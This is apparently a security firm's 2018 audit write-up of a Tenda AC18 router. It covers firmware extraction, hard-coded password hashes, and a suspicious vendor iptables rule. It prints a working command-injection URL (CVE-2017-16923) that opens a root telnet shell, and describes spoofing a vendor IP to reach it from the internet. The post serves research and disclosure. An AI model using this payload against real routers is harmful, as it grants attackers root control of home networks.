We recently acquired an AC1900 11ac Smart Dual-band Gigabit WiFi Router (AC18) and decided to audit its security. We found what we thought was a 0-day, until we saw someone previously discovered and reported it. In addition we found a weird IPTables rule that allows a specific WAN IP to connect to “internal management ports” of the device. This weird behavior makes us wonder: is this a vendor backdoor or something more serious?
The Basics
We begin the audit as all Internet of Things (IoT) audits should: download the firmware, extract, and enumerate the attack surface. The firmware is located at http://tendacn.com/en/product/support/AC18.html, and “AC18 Firmware V15.03.05.05_EN” is the newest and vulnerable version. The downloaded file is compressed via RAR and extracts to US_AC18V1.0BR_V15.03.05.05_multi_TD01.bin. Binwalk extracts the firmware nicely into a folder called “_US_AC18V1.0BR_V15.03.05.05_multi_TD01.bin.extracted”
$ binwalk -e US_AC18V1.0BR_V15.03.05.05_multi_TD01.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 64 0x40 TRX firmware header, little endian, image size: 10919936 bytes, CRC32: 0x43BEBCDA, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1C9E50, rootfs offset: 0x0 92 0x5C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4585280 bytes 1875600 0x1C9E90 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 9041956 bytes, 935 inodes, blocksize: 131072 bytes, created: 2016-12-27 16:01:34
The extracted content contains the usual Linux file system
$ ls bin cfg dev etc etc_ro home init lib mnt proc root sbin sys tmp usr var webroot webroot_ro $ ls bin 3322ip chkntfs dhcpcd_wan4 envram iprule.sh mknod phddns_wan1 pptp pptp_wan3 su unmkpkg xl2tpd_wan2 88ip chmod dhcps false kill moniter phddns_wan2 pptpc244.sh pptp_wan4 tar upgrade xl2tpd_wan3 alibaba_update cp dhcps-guest fdisk l2tp-control more phddns_wan3 pptp_callmgr ps taskset usleep xl2tpd_wan4 ash cttyhack dhttpd flash_erase l2tpd mount phddns_wan4 pptpc.sh pwd tendaupload vi xl2tppppd auto_discover date dmesg getopt ln msh ping pptpctrl query_version tendauploadcfe vsftpd bcrelay dd dnrd grep login multiWAN ping6 pptpd rm time_check wan_surf business_proc df dnrd-guest httpd logserver mv pppd pptpd244.sh rmdir touch wins busybox dhcpcd dnrd-wisp hush ls netctrl pppd_wan1 pptpd.sh sed true wps_monitor cat dhcpcd_lan dosfsck igmpproxy lzma netstat pppd_wan2 pptppppd sh ucloud_v2 xl2tpcltpppd cfm dhcpcd_wan1 eapd igs minidlna nvram pppd_wan3 pptppppd-server sleep umount xl2tpd cfmd dhcpcd_wan2 echo inadyn miniupnpd p910nd pppd_wan4 pptp_wan1 sntp uname xl2tpd-server chat dhcpcd_wan3 emf ip mkdir phddns pppoeconfig.sh pptp_wan2 speedtest unbzip2 xl2tpd_wan1 $ ls sbin/ arp depmod getty ifconfig insmod logread makedevs modprobe pivot_root reboot route sulogin syslogd vconfig blkid eject halt init klogd lsmod mdev ping6 poweroff rmmod slattach sysctl udevd $ ls usr/bin/ [ arping clear diff env free hexdump ipcs less mkfifo passwd spawn-fcgi telnet top unzip wc xargs [[ awk cryptpw dirname expr hd hostid killall logger nginx printf sync test tr uptime wget yes app_data_center basename cut du find head id killall5 mesg nslookup reset tail tftp traceroute vmstat which $ ls usr/sbin/ acsd comad et ip6tables-restore iptables iptables-save pppoecd Printer.sh smbd td_acs_dbg udhcpc usb_down.sh wl xtables-multi brctl dnsmasq ip6tables ip6tables-save iptables-restore nas pptpctrl rdate smbpasswd telnetd udhcpd usb_up.sh wlconf
A quick initial observation is the system utilizes a lot of common components, and has code Tenda implemented themselves. The passwords in /etc_ro/passwrd and /etc_ro/shadow has simple hard coded values. Which has odd similarities to: https://pierrekim.github.io/advisories/2016-quanta-0x00.txt
$ cat etc_ro/shadow root:$1$OVhtCyFa$7tISyKW1KGssHAQj1vI3i1:14319:::::: $ cat etc_ro/passwd root:$1$nalENqL8$jnRFwb1x5S.ygN.3nwTbG1:0:0:root:/:/bin/sh admin:6HgsSsJIEOc2U:0:0:Administrator:/:/bin/sh support:Ead09Ca6IhzZY:0:0:Technical Support:/:/bin/sh user:tGqcT.qjxbEik:0:0:Normal User:/:/bin/sh nobody:VBcCXSNG7zBAY:0:0:nobody for ftp:/:/bin/sh
Static analysis could continue by opening up binaries in IDA Pro, but we decided to attempt to get dynamic instrumentation on the system via a serial port.
Serial Connection
The image above shows the board. There is a serial interface exposed on the board, as seen by the cables plugged into the board in the image above. The speed is set to 115200 8N1 and the pin out is:
[ O] O O O
TXD RXD GND VCC
It appears the serial port binds to an application with the following output/display:
HELP : loglevel(0-9) reBoot Crash terminate-all-tasks(E) memory-full-oom-kill(F) kill-all-tasks(I) thaw-filesystems(J) show-backtrace-all-active-cpus(L) show-memory-usage(M) nice-all-RT-tasks(N) show-registers(P) show-all-timers(Q) Sync show-task-states(T) Unmount show-blocked-tasks(W)
Unfortunately we do not have a command prompt… yet.
Service Enumeration
An NMap Scan of all ports returns:
$ nmap -p 0-65535 192.168.12.1 Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-05 11:28 CST Nmap scan report for 192.168.12.1 Host is up (1.0s latency). Not shown: 65529 closed ports PORT STATE SERVICE 0/tcp filtered unknown 80/tcp open http 1990/tcp open stun-p1 5500/tcp open hotline 8180/tcp open unknown 9000/tcp open cslistener 10004/tcp open emcrmirccd
Most of the ports host some form of a HTTP server. The main page looks like:
An interesting service, due to the rough appearance, is running on port 8180:
Port 8180: app_data_center
We were able to identify app_data_center as the service listening on port 8180 by searching for strings. Thanks to iptables, app_data_center is a LAN side service and is inaccessible from the WAN (for now). We found multiple buffer overflows, but since we didn’t have instrumentation yet we wanted a quick win that would get us closer to a reliable command prompt. In IoT devices command injection is the quickest way to accomplish that goal. Searching for system, execl, execlp, execle, execv, execvp, execvpe, and others will help identify potential command injection vulnerabilities. The function process_datamanage_usbeject appears interesting:
The function snprintf builds a command that receives a string from the update_usblist_conf function. The update_usblist_conf function pulls the string value from the URL parameter called dev_name.
The do_request_process calls the process_datamanage_usbeject function if the path is equal to usbeject as seen below:
Given a small full URL path obtained from viewing the web page source, we are able to construct a vulnerable URL:
/cgi-bin/luci/admin/datamanager/usbeject?dev_name=$(SOMECOMMAND)
In testing we replaced “SOMECOMMAND” above with “ping%20192.168.12.100”, and monitored for ICMP packets. Which to our surprise worked the first time. Our goal is to get a command prompt; the simplest way on IoT boxes is to take advantage of Busybox’s telnetd. A grep of the binary verified telenetd is supported. The command we will execute to get a command prompt is “/bin/busybox%20telnetd%20-l%20/bin/sh%20-p%208181”. This makes our new request:
/cgi-bin/luci/admin/datamanager/usbeject?dev_name=$(/bin/busybox%20telnetd%20-l%20/bin/sh%20-p%208181)
Call the vulnerable web page via python, Burp, or simply a browser, then netcat into port 8181. If the web application processes the data successfully the following JSON request is returned: {“code”:0, “msg”: “Success”}. If the exploit worked a root prompt will be displayed.
The joy of a working exploit is quickly replaced with sadness when a google search for “/cgi-bin/luci/admin/datamanager/usbeject?dev_name” returns https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16923. This is a known bug that has a CVE. Unfortunately for Tenda users, their latest firmware is still vulnerable. According to the CVE a half a dozen other Tenda firware versions are also vulnerable.
While we had access to the box we ran a few discover commands such as netstat and iptables with the following outputs:
~ # netstat -antup netstat -antup Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 192.168.12.1:1990 0.0.0.0:* LISTEN 943/wps_monitor tcp 0 0 0.0.0.0:9000 0.0.0.0:* LISTEN 610/ucloud_v2 tcp 0 0 192.168.12.2:80 0.0.0.0:* LISTEN 708/dhttpd tcp 0 0 192.168.12.1:80 0.0.0.0:* LISTEN 608/httpd tcp 0 0 127.0.0.1:10002 0.0.0.0:* LISTEN 610/ucloud_v2 tcp 0 0 127.0.0.1:10003 0.0.0.0:* LISTEN 610/ucloud_v2 tcp 1 0 0.0.0.0:10004 0.0.0.0:* LISTEN 611/business_proc tcp 0 0 0.0.0.0:8180 0.0.0.0:* LISTEN 450/nginx tcp 0 0 0.0.0.0:8181 0.0.0.0:* LISTEN 5213/busybox tcp 0 0 0.0.0.0:5500 0.0.0.0:* LISTEN 814/miniupnpd tcp 0 0 127.0.0.1:8188 0.0.0.0:* LISTEN 469/app_data_center tcp 0 0 127.0.0.1:10004 127.0.0.1:53823 ESTABLISHED 611/business_proc tcp 0 0 192.168.12.1:8181 192.168.12.87:54979 ESTABLISHED 5213/busybox tcp 0 0 127.0.0.1:48836 127.0.0.1:10003 ESTABLISHED 611/business_proc tcp 0 0 127.0.0.1:10003 127.0.0.1:48836 ESTABLISHED 610/ucloud_v2 tcp 0 0 127.0.0.1:53823 127.0.0.1:10004 ESTABLISHED 611/business_proc netstat: /proc/net/tcp6: No such file or directory udp 0 0 0.0.0.0:42000 0.0.0.0:* 939/eapd udp 0 0 192.168.12.1:42545 0.0.0.0:* 814/miniupnpd udp 0 0 127.0.0.1:40500 0.0.0.0:* 943/wps_monitor udp 0 0 192.168.12.1:53 0.0.0.0:* 689/dnrd udp 0 0 192.168.12.1:67 0.0.0.0:* 868/dhcps udp 0 0 0.0.0.0:67 0.0.0.0:* 868/dhcps udp 0 0 0.0.0.0:39000 0.0.0.0:* 939/eapd udp 0 0 0.0.0.0:1900 0.0.0.0:* 943/wps_monitor udp 0 0 0.0.0.0:1900 0.0.0.0:* 814/miniupnpd udp 0 0 0.0.0.0:37000 0.0.0.0:* 939/eapd udp 0 0 0.0.0.0:137 0.0.0.0:* 612/auto_discover udp 0 0 127.0.0.1:38032 0.0.0.0:* 941/nas udp 0 0 127.0.0.1:37064 0.0.0.0:* 943/wps_monitor udp 0 0 0.0.0.0:5351 0.0.0.0:* 814/miniupnpd udp 0 0 0.0.0.0:5353 0.0.0.0:* 612/auto_discover udp 0 0 0.0.0.0:43000 0.0.0.0:* 939/eapd netstat: /proc/net/udp6: No such file or directory ~ # iptables -L -v iptables -L -v Chain INPUT (policy ACCEPT 11143 packets, 1406K bytes) pkts bytes target prot opt in out source destination 1034 81239 ACCEPT all -- vlan2 any anywhere anywhere state RELATED,ESTABLISHED 0 0 DROP icmp -- vlan2 any anywhere anywhere icmp echo-request 11263 1416K access_ctrl all -- any any anywhere anywhere 12 1554 DROP all -- vlan2 any anywhere anywhere Chain FORWARD (policy ACCEPT 130K packets, 101M bytes) pkts bytes target prot opt in out source destination Chain OUTPUT (policy ACCEPT 11571 packets, 5137K bytes) pkts bytes target prot opt in out source destination 360 23567 dns_drop udp -- any any anywhere anywhere udp dpt:53 state NEW Chain access_ctrl (1 references) pkts bytes target prot opt in out source destination 0 0 ACCEPT icmp -- vlan2 any anywhere anywhere 0 0 ACCEPT tcp -- vlan2 any anywhere anywhere tcp dpt:1723 0 0 ACCEPT udp -- vlan2 any anywhere anywhere udp dpt:1701 Chain dns_drop (1 references) pkts bytes target prot opt in out source destination ~ #
Backdoor or Bad Design
A quick google search tells us that Tenda has a history of backdoors in their devices, making us suspicious on anything we see. What we are about to discuss seems to be turned off at the moment, but luckly we saved traffic of the behavior. By envoking the server and updating a DNS record Tenda can enable this feature on demand since its baked into the devices. Some may argue that our discovery is a feature, not a backdoor. This “feature” gets triggered when the admin page, a potential attacker would have be temporarily stalled. An argument that what we are about to identify is a feature, not a backdoor is its triggered when the admin page is logged into which would be an annoying wait if an individual is targeted.
It is possible for cloud.tenda.com.cn to push commands down to a home router that will enable remote connectivity to LAN side services. The following diagram gives an overview of issue:
The function that invokes the suspect behavior is called “communication_with_cloud”. In the httpd binary, the function sub_C7BE0 (the function at 0xc7be0) calls the offending code. sub_C7BE0 is called by formGetHomeLink which is called on successful authentication into the Tenda web portal.
We noticed that while logged into the admin portal the IPTables rules are upladed to allow a host on the internet connect in if its source port is set to 1822. The following is the IPTables rules printout:
~ # iptables -vL iptables -vL Chain INPUT (policy ACCEPT 1688 packets, 338K bytes) pkts bytes target prot opt in out source destination 2008 88320 ACCEPT tcp -- vlan2 any 47.89.240.98 anywhere tcp spt:1822 114 18676 ACCEPT all -- vlan2 any anywhere anywhere state RELATED,ESTABLISHED 0 0 DROP icmp -- vlan2 any anywhere anywhere icmp echo-request 2715 539K access_ctrl all -- any any anywhere anywhere 58 5183 DROP all -- vlan2 any anywhere anywhere Chain FORWARD (policy ACCEPT 753 packets, 149K bytes) pkts bytes target prot opt in out source destination Chain OUTPUT (policy ACCEPT 4104 packets, 494K bytes) pkts bytes target prot opt in out source destination 438 25404 dns_drop udp -- any any anywhere anywhere udp dpt:53 state NEW Chain access_ctrl (1 references) pkts bytes target prot opt in out source destination 0 0 ACCEPT icmp -- vlan2 any anywhere anywhere 0 0 ACCEPT tcp -- vlan2 any anywhere anywhere tcp dpt:1723 0 0 ACCEPT udp -- vlan2 any anywhere anywhere udp dpt:1701 Chain dns_drop (1 references) pkts bytes target prot opt in out source destination
47.89.240.98 appears to be an Alibaba cloud IP address. A quick scan of 47.89.240.98 shows Tenda isn’t patching or keeping the system up-to-date. The following is a banner grab of SSH which shows version 6.6.1, and OpenSSH version 7.6 is current as of this writing:
$ nc 47.89.240.98 22 SSH-2.0-OpenSSH_6.6.1
When we gave ourselves an IP address of 47.89.240.98 and forced our source port to be 1822 we were able to connect and exploit the previously mentioned vulnerability. We were able to connect to any services bound to all interfaces (0.0.0.0) in the previously displayed netstat output. This turns our LAN side vulnerability into a WAN side vulnerability. Any attacker in the internet path of these Tenda devices can possibly hijack this functionality for malicious purposes.
The 47.89.240.98 IP address is dynamically provided via a custom serialization protocol Tenda wrote. A typical conversation looks like:
A DNS request for cloud.tenda.com.cn returns 47.88.60.85 which hosts the control protocol. 47.88.60.85 is the server that tells the Tenda router to add the suspect IPTable rule. cloud.tenda.com.cn is still live and capable of invoking this suspect code.
To save time we will not be going into the reversing of the protocol, and will leave that as an exercise to the reader. We recommend you looking at libtpi, libcloud, and libucapi.
Conclusion
Most of this information is in the public domain already, but we do find it scary that a vendor can enable IPTables rules that allow configurable IP addresses the ability to connect to intentionally really vulnerable services. We were able to demonstrate Tenda or other malicious actors are capable of transforming a LAN vulnerability to a WAN side vulnerability. We can’t say this is malicious, and it probably isn’t but this shows IoT developers don’t always have security on their mind. It is odd that Tenda has not fixed the vulnerable firmwares which adds to our suspicions.
This story is by no means a unique one: IoT devices are, on average, simple to exploit – there are many features that developers have implemented that an attacker can mutate into something malicious. IoT devices provide amazing convenience. Turning on your heat remotely, watching your baby, unlocking your door, or providing household WiFi are conveniences that have a security cost.
If you have concerns with devices on your network, or would like us to audit your devices, let us know!
– Feb 13, 2018